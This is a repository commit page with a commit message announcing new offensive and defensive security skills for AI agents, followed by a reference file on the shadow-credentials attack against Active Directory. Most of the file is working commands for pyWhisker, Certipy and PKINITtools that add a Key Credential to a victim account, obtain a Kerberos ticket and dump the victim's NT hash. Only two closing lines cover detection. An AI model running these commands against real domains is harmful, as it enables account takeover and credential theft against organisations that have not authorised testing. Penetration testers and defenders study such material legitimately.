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mukul975
8cae0648ec
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
2.5 KiB
2.5 KiB
Shadow Credentials Tooling Reference
pyWhisker (https://github.com/ShutdownRepo/pywhisker)
Invocation: python3 pywhisker.py [auth] --target <obj> --action <action> [opts]
| Flag | Meaning |
|---|---|
-d DOMAIN |
Target domain (FQDN) |
-u USER |
Controlled username |
-p PASSWORD |
Password |
-k / --no-pass |
Kerberos auth (uses KRB5CCNAME) |
-H LM:NT |
Pass-the-hash |
--target NAME |
Target user/computer whose attribute is modified |
--action list |
Enumerate existing Key Credentials |
--action add |
Generate key pair, write Key Credential |
--action remove |
Remove one Key Credential by --device-id |
--action clear |
Remove all Key Credentials |
--action info |
Show details of a Key Credential |
--filename NAME |
Output PFX/PEM base name |
| `--export PEM | PFX` |
--device-id GUID |
Target device for remove/info |
--dc-ip IP |
Domain Controller IP |
--use-ldaps |
Use LDAPS (636) |
Example
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--target victim --action add --filename victim_shadow
Certipy shadow (https://github.com/ly4k/Certipy)
| Command | Meaning |
|---|---|
certipy shadow auto |
Add → PKINIT → dump NT hash → cleanup (end to end) |
certipy shadow add |
Add Key Credential only |
certipy shadow list |
List Key Credentials |
certipy shadow clear |
Clear Key Credentials |
certipy shadow info |
Show Key Credential info |
Key flags: -u USER@DOMAIN, -p PW / -hashes :NT / -k -no-pass,
-dc-ip IP, -account TARGET (use trailing $ for computers), -ns IP, -dns-tcp.
Example
certipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
PKINITtools (https://github.com/dirkjanm/PKINITtools)
| Script | Purpose |
|---|---|
gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache |
Request TGT via PKINIT; prints AS-REP key |
getnthash.py -key <AS-REP-KEY> DOMAIN/USER |
Recover NT hash (KRB5CCNAME set) |
Example
python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
corp.local/victim victim.ccache
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
Detection signal
- Event ID 5136 — modification of
msDS-KeyCredentialLink(Directory Service Changes auditing). - BloodHound edge:
AddKeyCredentialLink.